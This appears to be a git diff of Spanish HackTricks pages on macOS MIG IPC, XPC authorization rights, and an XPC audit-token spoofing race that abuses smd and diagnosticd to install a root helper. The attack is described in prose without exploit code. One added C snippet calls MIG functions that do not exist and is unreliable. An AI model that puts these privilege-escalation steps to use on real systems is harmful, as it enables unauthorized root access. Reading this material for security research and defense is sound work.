* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -37,13 +37,13 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ahora utiliza mig para generar el código del servidor y del cliente que serán capaces de comunicarse entre sí para llamar a la función Restar:
|
||||
Ahora utiliza mig para generar el código del servidor y del cliente que serán capaces de comunicarse entre sí para llamar a la función Subtract:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Se crearán varios archivos nuevos en el directorio actual.
|
||||
|
||||
En los archivos **`myipcServer.c`** y **`myipcServer.h`** puedes encontrar la declaración y definición de la estructura **`SERVERPREFmyipc_subsystem`**, que básicamente define la función a llamar en función del ID del mensaje recibido (indicamos un número inicial de 500):
|
||||
En los archivos **`myipcServer.c`** y **`myipcServer.h`** se puede encontrar la declaración y definición de la estructura **`SERVERPREFmyipc_subsystem`**, que básicamente define la función a llamar en función del ID del mensaje recibido (indicamos un número de inicio de 500):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -68,17 +68,37 @@ myipc_server_routine,
|
|||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
El Generador de Interfaz Mach (MIG) es una herramienta utilizada en macOS para generar código fuente en C a partir de definiciones de interfaz. Permite la comunicación entre procesos a través de llamadas a procedimientos remotos.
|
||||
El Generador de Interfaz Mach (Mach Interface Generator, MIG) es una herramienta utilizada en macOS para generar código fuente en C a partir de definiciones de interfaz. Permite la comunicación entre procesos a través de llamadas a procedimientos remotos.
|
||||
|
||||
#### Creación de una definición de interfaz MIG
|
||||
|
||||
Para crear una definición de interfaz MIG, se debe definir un archivo `.defs` que contenga las declaraciones de los procedimientos remotos que se desean exponer. Luego, se utiliza la herramienta `mig` para generar el código fuente en C correspondiente.
|
||||
|
||||
#### Implementación de la interfaz MIG
|
||||
#### Implementación de un servidor MIG
|
||||
|
||||
Una vez generadas las funciones en C a partir de la definición de interfaz MIG, se pueden implementar para permitir la comunicación entre procesos. Esto se logra a través de la creación de un servidor MIG que escuche las llamadas de procedimientos remotos y las maneje adecuadamente.
|
||||
Una vez que se ha generado el código fuente en C a partir de la definición de interfaz MIG, se puede implementar un servidor MIG que maneje las llamadas a procedimientos remotos definidos en la interfaz.
|
||||
|
||||
La utilización de MIG en macOS puede ser útil para la comunicación entre procesos y la escalada de privilegios si no se asegura adecuadamente. Es importante implementar medidas de seguridad para prevenir posibles abusos de procesos a través de la interfaz MIG.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t my_remote_procedure_implementation(mach_port_t server, int data, int *result) {
|
||||
// Implementación del procedimiento remoto
|
||||
*result = data * 2;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
int main() {
|
||||
mach_port_t server = mig_create_server();
|
||||
mig_server(server);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
En el ejemplo anterior, se muestra la implementación de un servidor MIG simple que maneja una llamada a un procedimiento remoto para multiplicar un número por 2.
|
||||
|
||||
La comunicación entre procesos a través de MIG es fundamental en macOS y puede ser utilizada de manera maliciosa para abusar de los privilegios del sistema. Es importante asegurar que las implementaciones de servidores MIG estén correctamente protegidas para prevenir posibles vulnerabilidades de seguridad.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -111,7 +131,7 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
En este ejemplo solo hemos definido 1 función en las definiciones, pero si hubiéramos definido más funciones, estarían dentro del array de **`SERVERPREFmyipc_subsystem`** y la primera se asignaría al ID **500**, la segunda al ID **501**...
|
||||
En este ejemplo solo hemos definido 1 función en las definiciones, pero si hubiéramos definido más funciones, estarían dentro del array de **`SERVERPREFmyipc_subsystem`** y la primera se habría asignado al ID **500**, la segunda al ID **501**...
|
||||
|
||||
De hecho, es posible identificar esta relación en la estructura **`subsystem_to_name_map_myipc`** de **`myipcServer.h`**:
|
||||
```c
|
||||
|
@ -122,7 +142,8 @@ De hecho, es posible identificar esta relación en la estructura **`subsystem_to
|
|||
```
|
||||
Finalmente, otra función importante para que el servidor funcione será **`myipc_server`**, que es la que realmente **llamará a la función** relacionada con el ID recibido:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
```c
|
||||
mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
|
@ -143,20 +164,20 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
|||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
<strong> (*routine) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
(*routine) (InHeadP, OutHeadP);
|
||||
return TRUE;
|
||||
}
|
||||
</code></pre>
|
||||
```
|
||||
|
||||
Verifique las líneas previamente resaltadas accediendo a la función a llamar por ID.
|
||||
|
||||
En lo siguiente se muestra el código para crear un **servidor** y un **cliente** simples donde el cliente puede llamar a las funciones Restar desde el servidor:
|
||||
En el siguiente código se muestra cómo crear un **servidor** y un **cliente** simples donde el cliente puede llamar a las funciones Restar del servidor:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -196,11 +217,11 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
El Generador de Interfaz Mach (MIG) es una herramienta utilizada en macOS para generar código fuente en C que facilita la comunicación entre procesos a través de llamadas a procedimientos remotos. Esto se logra definiendo interfaces en un archivo .defs que luego se compila con MIG para generar el código fuente en C correspondiente.
|
||||
El Generador de Interfaz Mach (MIG) es una herramienta utilizada en macOS para generar código fuente en C que facilita la comunicación entre procesos a través de llamadas a procedimientos remotos. Permite a los procesos enviar mensajes y datos entre sí de manera eficiente y segura.
|
||||
|
||||
En el contexto de la seguridad, el uso de MIG puede introducir posibles vulnerabilidades si no se implementa correctamente. Es importante validar y sanitizar los datos de entrada provenientes de las llamadas a procedimientos remotos para evitar posibles ataques de escalada de privilegios o de denegación de servicio.
|
||||
En el contexto de la seguridad, los atacantes pueden abusar de las interfaces generadas por MIG para realizar ataques de escalada de privilegios o para comprometer la integridad del sistema. Es fundamental implementar medidas de seguridad adecuadas al utilizar MIG para prevenir posibles vulnerabilidades y proteger la comunicación entre procesos en macOS.
|
||||
|
||||
Asegúrese de revisar y comprender completamente cómo se implementan las interfaces definidas en MIG en su aplicación para garantizar que no haya posibles puntos débiles que puedan ser explotados por actores malintencionados.
|
||||
Para más información sobre cómo protegerse de posibles abusos de procesos en macOS, consulta la sección correspondiente en este libro.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -214,7 +235,7 @@ int main() {
|
|||
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
printf("Failed to look up server port\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
@ -224,8 +245,6 @@ int main() {
|
|||
}
|
||||
```
|
||||
|
||||
En el código de ejemplo anterior, se muestra cómo un cliente puede conectarse a un servidor a través de MIG en macOS. Asegúrese de implementar las medidas de seguridad adecuadas al utilizar MIG para prevenir posibles vulnerabilidades en su aplicación.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
@ -267,13 +286,13 @@ Se mencionó anteriormente que la función que se encargará de **llamar a la fu
|
|||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instrucciones iniciales para encontrar los punteros de función adecuados
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Llamada a sign_extend_64 que puede ayudar a identificar esta función
|
||||
// Esto almacena en rax el puntero a la llamada que debe realizarse
|
||||
|
@ -314,7 +333,7 @@ stack[-8] = r30;
|
|||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instrucciones iniciales para encontrar los punteros de función adecuados
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
|
@ -323,19 +342,19 @@ var_18 = arg1;
|
|||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 > 0x0) {
|
||||
if (CPU_FLAGS & G) {
|
||||
if (CPU_FLAGS & G) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500 (el ID de inicio)
|
||||
<strong> r8 = r8 - 0x1f4;
|
||||
|
@ -344,13 +363,13 @@ r8 = *(r8 + 0x8);
|
|||
var_20 = r8;
|
||||
r8 = r8 - 0x0;
|
||||
if (r8 != 0x0) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Mismo if else que en la versión anterior
|
||||
// Ver el uso de la dirección 0x100004040 (array de direcciones de funciones)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
|
@ -382,10 +401,10 @@ return r0;
|
|||
|
||||
De hecho, si vas a la función **`0x100004000`** encontrarás el array de estructuras **`routine_descriptor`**. El primer elemento de la estructura es la **dirección** donde está implementada la **función**, y la **estructura ocupa 0x28 bytes**, por lo que cada 0x28 bytes (comenzando desde el byte 0) puedes obtener 8 bytes y esa será la **dirección de la función** que se llamará:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Estos datos se pueden extraer [**usando este script de Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
|
|
@ -18,7 +18,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Apple también propone otra forma de autenticar si el proceso conectado tiene **permisos para llamar a un método XPC expuesto**.
|
||||
|
||||
Cuando una aplicación necesita **ejecutar acciones como usuario privilegiado**, en lugar de ejecutar la aplicación como usuario privilegiado, generalmente instala como root un HelperTool como un servicio XPC que puede ser llamado desde la aplicación para realizar esas acciones. Sin embargo, la aplicación que llama al servicio debe tener suficiente autorización.
|
||||
Cuando una aplicación necesita **ejecutar acciones como usuario privilegiado**, en lugar de ejecutar la aplicación como usuario privilegiado, generalmente instala como root un HelperTool como un servicio XPC que podría ser llamado desde la aplicación para realizar esas acciones. Sin embargo, la aplicación que llama al servicio debe tener suficiente autorización.
|
||||
|
||||
### ShouldAcceptNewConnection siempre YES
|
||||
|
||||
|
@ -184,7 +184,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Esto significa que al final de este proceso, los permisos declarados dentro de `commandInfo` se almacenarán en `/var/db/auth.db`. Observa cómo allí puedes encontrar para **cada método** que **requiera autenticación**, el **nombre del permiso** y el **`kCommandKeyAuthRightDefault`**. Este último **indica quién puede obtener este derecho**.
|
||||
Esto significa que al final de este proceso, los permisos declarados dentro de `commandInfo` se almacenarán en `/var/db/auth.db`. Observa cómo puedes encontrar para **cada método** que requiera autenticación, el **nombre del permiso** y el **`kCommandKeyAuthRightDefault`**. Este último **indica quién puede obtener este derecho**.
|
||||
|
||||
Existen diferentes ámbitos para indicar quién puede acceder a un derecho. Algunos de ellos están definidos en [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (puedes encontrar [todos ellos aquí](https://www.dssw.co.uk/reference/authorization-rights/)), pero en resumen:
|
||||
|
||||
|
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
Ten en cuenta que para **verificar los requisitos para obtener el derecho** de llamar a ese método, la función `authorizationRightForCommand` simplemente verificará el objeto previamente comentado **`commandInfo`**. Luego, llamará a **`AuthorizationCopyRights`** para verificar **si tiene los derechos** para llamar a la función (nota que las banderas permiten la interacción con el usuario).
|
||||
Ten en cuenta que para **verificar los requisitos para obtener el derecho** de llamar a ese método, la función `authorizationRightForCommand` simplemente verificará el objeto comentado previamente **`commandInfo`**. Luego, llamará a **`AuthorizationCopyRights`** para verificar **si tiene los derechos** para llamar a la función (nota que las banderas permiten la interacción con el usuario).
|
||||
|
||||
En este caso, para llamar a la función `readLicenseKeyAuthorization`, se define `kCommandKeyAuthRightDefault` como `@kAuthorizationRuleClassAllow`. Por lo tanto, **cualquiera puede llamarlo**.
|
||||
En este caso, para llamar a la función `readLicenseKeyAuthorization`, se define `kCommandKeyAuthRightDefault` como `@kAuthorizationRuleClassAllow`. Por lo tanto, **cualquiera puede llamarla**.
|
||||
|
||||
### Información de la base de datos
|
||||
|
||||
|
@ -264,9 +264,9 @@ Puedes encontrar **todas las configuraciones de permisos** [**aquí**](https://w
|
|||
* Esta es la clave más directa. Si se establece en `false`, especifica que un usuario no necesita proporcionar autenticación para obtener este derecho.
|
||||
* Se utiliza en **combinación con una de las 2 opciones a continuación o indicando un grupo** al que el usuario debe pertenecer.
|
||||
2. **'allow-root': 'true'**
|
||||
* Si un usuario está operando como usuario root (que tiene permisos elevados) y esta clave se establece en `true`, el usuario root podría potencialmente obtener este derecho sin necesidad de más autenticación. Sin embargo, típicamente, llegar a un estado de usuario root ya requiere autenticación, por lo que no es un escenario de "sin autenticación" para la mayoría de los usuarios.
|
||||
* Si un usuario está operando como el usuario root (que tiene permisos elevados) y esta clave se establece en `true`, el usuario root podría potencialmente obtener este derecho sin necesidad de más autenticación. Sin embargo, típicamente, llegar a un estado de usuario root ya requiere autenticación, por lo que no es un escenario de "sin autenticación" para la mayoría de los usuarios.
|
||||
3. **'session-owner': 'true'**
|
||||
* Si se establece en `true`, el propietario de la sesión (el usuario actualmente conectado) obtendría automáticamente este derecho. Esto podría evitar la autenticación adicional si el usuario ya está conectado.
|
||||
* Si se establece en `true`, el propietario de la sesión (el usuario que ha iniciado sesión actualmente) obtendría automáticamente este derecho. Esto podría evitar la autenticación adicional si el usuario ya ha iniciado sesión.
|
||||
4. **'shared': 'true'**
|
||||
* Esta clave no otorga derechos sin autenticación. En cambio, si se establece en `true`, significa que una vez que el derecho ha sido autenticado, puede ser compartido entre varios procesos sin que cada uno necesite volver a autenticarse. Pero la concesión inicial del derecho seguiría requiriendo autenticación a menos que se combine con otras claves como `'authenticate-user': 'false'`.
|
||||
|
||||
|
@ -283,11 +283,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
```
|
||||
## Reversión de Autorización
|
||||
|
||||
### Verificación de Uso de EvenBetterAuthorization
|
||||
### Verificación de uso de EvenBetterAuthorization
|
||||
|
||||
Si encuentras la función: **`[HelperTool checkAuthorization:command:]`** probablemente el proceso esté utilizando el esquema mencionado anteriormente para la autorización:
|
||||
Si encuentras la función: **`[HelperTool checkAuthorization:command:]`** probablemente el proceso esté utilizando el esquema de autorización mencionado anteriormente:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Entonces, si esta función está llamando a funciones como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está utilizando [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
|
@ -299,11 +299,11 @@ Luego, necesitas encontrar el esquema de protocolo para poder establecer una com
|
|||
|
||||
La función **`shouldAcceptNewConnection`** indica el protocolo que se está exportando:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En este caso, es el mismo que en EvenBetterAuthorizationSample, [**verifica esta línea**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Conociendo el nombre del protocolo utilizado, es posible **volcar su definición de encabezado** con:
|
||||
Sabiendo el nombre del protocolo utilizado, es posible **volcar su definición de encabezado** con:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -317,7 +317,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Por último, solo necesitamos conocer el **nombre del Servicio Mach expuesto** para establecer una comunicación con él. Hay varias formas de encontrarlo:
|
||||
Por último, solo necesitamos saber el **nombre del Servicio Mach expuesto** para establecer una comunicación con él. Hay varias formas de encontrarlo:
|
||||
|
||||
* En el **`[HelperTool init]`** donde puedes ver el Servicio Mach que se está utilizando:
|
||||
|
||||
|
@ -435,6 +435,6 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,10 +7,10 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,11 +25,11 @@ Si no sabes qué son los Mensajes Mach, comienza revisando esta página:
|
|||
{% endcontent-ref %}
|
||||
|
||||
Por el momento, recuerda que ([definición desde aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Los mensajes Mach se envían a través de un _puerto mach_, que es un canal de comunicación de **un solo receptor, múltiples emisores** integrado en el kernel mach. **Múltiples procesos pueden enviar mensajes** a un puerto mach, pero en cualquier momento **solo un proceso puede leerlo**. Al igual que los descriptores de archivos y los sockets, los puertos mach son asignados y gestionados por el kernel y los procesos solo ven un entero, que pueden usar para indicar al kernel cuál de sus puertos mach desean utilizar.
|
||||
Los mensajes Mach se envían a través de un _puerto mach_, que es un canal de comunicación de **un solo receptor, múltiples emisores** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un puerto mach, pero en cualquier momento **solo un proceso puede leerlo**. Al igual que los descriptores de archivos y los sockets, los puertos mach son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus puertos mach desean utilizar.
|
||||
|
||||
## Conexión XPC
|
||||
|
||||
Si no sabes cómo se establece una conexión XPC, verifica:
|
||||
Si no sabes cómo se establece una conexión XPC, consulta:
|
||||
|
||||
{% content-ref url="../" %}
|
||||
[..](../)
|
||||
|
@ -50,14 +50,14 @@ Aunque la situación anterior suena prometedora, hay escenarios donde esto no ca
|
|||
|
||||
Dos métodos diferentes en los que esto podría ser explotable:
|
||||
|
||||
1. Variante1:
|
||||
1. Variante 1:
|
||||
* El **exploit se conecta** al servicio **A** y al servicio **B**.
|
||||
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio **A** que el usuario no puede.
|
||||
* El servicio **A** llama a **`xpc_connection_get_audit_token`** mientras _**no**_ está dentro del **manejador de eventos** para una conexión en un **`dispatch_async`**.
|
||||
* Por lo tanto, un **mensaje diferente** podría **sobrescribir el Token de Auditoría** porque se está despachando de forma asíncrona fuera del manejador de eventos.
|
||||
* El exploit pasa a **servicio B el derecho de ENVÍO a servicio A**.
|
||||
* Entonces svc **B** realmente estará **enviando** los **mensajes** al servicio **A**.
|
||||
* El **exploit** intenta **llamar** a la **acción privilegiada**. En un RC svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el Token de Auditoría** (dando al exploit acceso para llamar a la acción privilegiada).
|
||||
* El **exploit** intenta **llamar** a la **acción privilegiada**. En un RC, svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el Token de Auditoría** (dando al exploit acceso para llamar a la acción privilegiada).
|
||||
2. Variante 2:
|
||||
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio **A** que el usuario no puede.
|
||||
* El exploit se conecta con el **servicio A** que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico.
|
||||
|
@ -77,7 +77,7 @@ Escenario:
|
|||
En este caso, un atacante podría desencadenar una **Condición de Carrera** creando un **exploit** que **pide a A que realice una acción** varias veces mientras hace que **B envíe mensajes a `A`**. Cuando la CC es **exitosa**, el **token de auditoría** de **B** se copiará en la memoria **mientras** la solicitud de nuestro **exploit** está siendo **manejada** por A, dándole **acceso a la acción privilegiada que solo B podría solicitar**.
|
||||
{% endhint %}
|
||||
|
||||
Esto ocurrió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede utilizar para instalar una nueva herramienta auxiliar privilegiada (como **root**). Si un **proceso que se ejecuta como root contacta** a **smd**, no se realizarán otras verificaciones.
|
||||
Esto ocurrió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede utilizar para instalar una nueva herramienta auxiliar privilegiada (como **root**). Si un **proceso que se ejecuta como root** contacta a **smd**, no se realizarán otras verificaciones.
|
||||
|
||||
Por lo tanto, el servicio **B** es **`diagnosticd`** porque se ejecuta como **root** y se puede utilizar para **monitorear** un proceso, por lo que una vez que comienza el monitoreo, **enviará múltiples mensajes por segundo.**
|
||||
|
||||
|
@ -87,7 +87,7 @@ Para realizar el ataque:
|
|||
2. Formar una **conexión secundaria** a `diagnosticd`. Contrariamente al procedimiento normal, en lugar de crear y enviar dos nuevos puertos mach, el derecho de envío del puerto del cliente se sustituye por una duplicado del **derecho de envío** asociado con la conexión de `smd`.
|
||||
3. Como resultado, los mensajes XPC pueden ser despachados a `diagnosticd`, pero las respuestas de `diagnosticd` se redirigen a `smd`. Para `smd`, parece como si los mensajes tanto del usuario como de `diagnosticd` provinieran de la misma conexión.
|
||||
|
||||
![Imagen que representa el proceso del exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
![Imagen que representa el proceso de explotación](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. El siguiente paso implica instruir a `diagnosticd` para que inicie el monitoreo de un proceso elegido (potencialmente el del usuario). Concurrentemente, se envía una avalancha de mensajes rutinarios 1004 a `smd`. La intención aquí es instalar una herramienta con privilegios elevados.
|
||||
5. Esta acción desencadena una condición de carrera dentro de la función `handle_bless`. El momento es crítico: la llamada a la función `xpc_connection_get_pid` debe devolver el PID del proceso del usuario (ya que la herramienta privilegiada reside en el paquete de la aplicación del usuario). Sin embargo, la función `xpc_connection_get_audit_token`, específicamente dentro de la subrutina `connection_is_authorized`, debe hacer referencia al token de auditoría perteneciente a `diagnosticd`.
|
||||
|
||||
|
@ -117,14 +117,14 @@ A continuación se muestra una representación visual del escenario de ataque de
|
|||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemas de Descubrimiento
|
||||
|
||||
